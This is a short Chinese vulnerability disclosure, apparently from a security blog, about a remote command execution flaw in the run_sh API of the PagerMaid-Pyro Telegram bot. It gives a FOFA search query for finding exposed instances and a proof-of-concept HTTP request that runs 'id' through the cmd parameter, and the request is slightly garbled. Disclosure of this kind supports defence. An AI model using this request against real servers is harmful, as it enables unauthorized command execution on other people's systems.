共计 281 个字符，预计需要花费 1 分钟才能阅读完成。
漏洞描述
PagerMaid-Pyro 是一个开源的 Telegram 人形自走 Bot 方案，功能强大而丰富，可以帮助你打造专属的便利功能。PagerMaid-Pyro run_sh接口存在远程命令执行漏洞。
搜索引擎
FOFA:
"PagerMaid-Pyro"漏洞复现
POC
CET /pagermaid/api/run sh?cmd=id HTTP/1.1
Host:
User-Agent:Mozilla/4.0(compatible; MSIE 8.0; Windows NT 6.1)
AcceptEncoding:gzip,deflateAccept:*/*
Connection:close
正文完
